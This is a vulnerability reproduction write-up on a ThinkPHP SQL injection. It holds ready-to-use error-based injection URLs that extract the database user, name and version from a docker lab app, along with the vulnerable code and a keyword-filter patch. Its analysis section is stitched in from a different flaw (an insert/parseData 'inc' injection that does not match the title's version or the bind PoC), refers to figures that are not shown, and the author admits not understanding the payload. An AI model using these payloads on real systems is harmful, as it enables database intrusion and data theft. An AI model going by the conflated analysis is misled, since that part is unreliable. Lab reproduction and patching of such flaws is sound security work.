ThinkPHP Builder.php SQL Injection Vulnerability (<= 3.2.3)
ref:https://www.jianshu.com/p/18d06277161e
A vulnerability reproduction job for ThinkPHP Builder.php SQL injection vulnerability (<= 3.2.3)
-------------------------------------------------------------
这是poc:http://192.168.3.6/Home/Index/readcategorymsg?category[0]=bind&category[1]=0%20and(updatexml(1,concat(0x7e,(user())),0))
category是数组:
0:"bind"
1:"0 and(updatexml(1,concat(0x7e,(user())),0))"
Error stack information:
#0 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(350): E('1105:XPATH synt...').
#1 /var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(237): Think\Db\Driver->error()
#2 /var/www/html/ThinkPHP/Library/Think /Db/Driver.class.php(906): Think\Db\Driver->execute('UPDATE `vulapps...', false)
UPDATE `vulapps_message` SET `is_read`='1' WHERE `category` = ' 1' and(updatexml(1,concat(0x7e,(user())),0))//Although the front is false, it still needs to be executed later. The error reported this time: XPATH syntax error: '~root@localhost'.
/var/www/html/ThinkPHP/Library/Think/Db/Driver.class.php(906): public function update($data,$options)
sql语句:return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
UPDATE `vulapps_message` SET `is_read`=:0 WHERE `category` = :0 and(updatexml(1,concat(0x7e,(user())),0))
Vulnerable code:
protected function parseWhereItem($key,$val)//category,array(2) { [0]=...
if(is_array($val)) {
if(is_string($val[0])) {
$exp = strtolower($val[0]);//array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,( user())),0))" } , then exp=bind
}elseif('bind' == $exp ){ //
$whereStr .= $key.' = :'.$val[1];// $whereStr.=category=:0 and (updatexml...) : 0 is spliced in here, creating an opportunity for the subsequent pdo parameter replacement.
It can be seen here that if where is an array, and the first element is bind, then the splicing operation is performed directly. Here we see that the filtering limit of the I function does not exclude bind.
#3 /var/www/html/ThinkPHP/Library/Think/Model.class.php(451): Think\Db\Driver->update(Array, Array)
$result = $this->db->update($data,$options);
echo var_dump($data):
array(1) { ["is_read"]=> int(1) } array(3) { ["where"]=> array(1) { ["category"]=> array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" } } ["table"]=> string(15) "vulapps_message" ["model"]=> string(7) "message" }
#4 /var/www/html/Application/Home/Controller/IndexController.class.php(18): Think\Model->save(Array)
public function readcategorymsg(){
$condition['category'] = I("category");
$data['is_read'] = 1;
$res = M("message")->where($condition)->save($data);
echo var_dump($condition['category'])."<br>";
array(2) { [0]=> string(4) "bind" [1]=> string(43) "0 and(updatexml(1,concat(0x7e,(user())),0))" }
#5 [internal function]: Home\Controller\IndexController->readcategorymsg()
#6 /var/www/html/ThinkPHP/Library/Think/App.class.php(173):
Patch method: add bind filtering in the I function.
function think_filter(&$value){ if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i',$value)){$value.=' ';}
-------------------------------------------------------------
Vulnerable environment: docker
Vulnerability Analysis
First of all, we know that there is a vulnerability in the insert method, then look at the specific implementation of the insert method.
This method is located in the thinkphp\library\think\db\Builder.php file, we can see that the parseData method is called at the beginning of the function, and $data is passed in as a parameter, and the value of $data is passed in through get An array of data, as shown below:
We follow up with the parseData method, which is also in the thinkphp\library\think\db\Builder.php file.
It can be seen that there is a switch statement at the end, and after entering this statement, it will jump to the place of case 'inc'. The key here is to see if $this->parseKey has filtered the $val[1] variable ;
Because the $val[1] variable is the updatexml(1,concat(0x7,user(),0x7e),1) in our payload, as shown below:
Continue to follow up the parseValue method, and you will find that the incoming $key is returned directly without any filtering.
Let's go back to the original insert method, add the debugging statement, and see what the sql statement looks like at this time, as shown below:
The injection of another update function is similar to this insert.
Use docker to build a vulnerability environment
1. Pull the image to the local
docker pull medicean/vulapps:t_thinkphp_1
2. Start the environment
docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1
-p 80:80 The 80 in front of it represents the port of the physical machine, which can be specified at will.
use and exploit
Visit http://192.168.0.104:80/, assuming the port number to start is 80
The following figure appears, the environment is successfully built
Click to mark it as read: You can use burp to capture packets to get the URL
http://192.168.0.104/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
Where there are loopholes: category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF
POC
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(user())),0))
Use the above POC to get the database username directly
Exploded database username: root@localhost
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(database())),0))
Through database(), an error is reported to echo a database: vulapps
http://192.168.0.104/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and(updatexml(1,concat(0x7e,(version())),0))
Exploded database version: 5.5.57-0ubuntu0.14.04.1
I found some information on the Internet, but I still don't understand this very well. I wanted to construct a statement to see if I could get the account and password in the database, but I found that it couldn't be used (embarrassing..)
I don't know much about the above POC, but I can only see that the database user and version can be obtained by modifying user() here.
References:
https://mp.weixin.qq.com/s/lNaH2-AAtk9JVKbbCBeIRA
https://mp.weixin.qq.com/s/4xXS7usHMFNgDTEHcHBcBA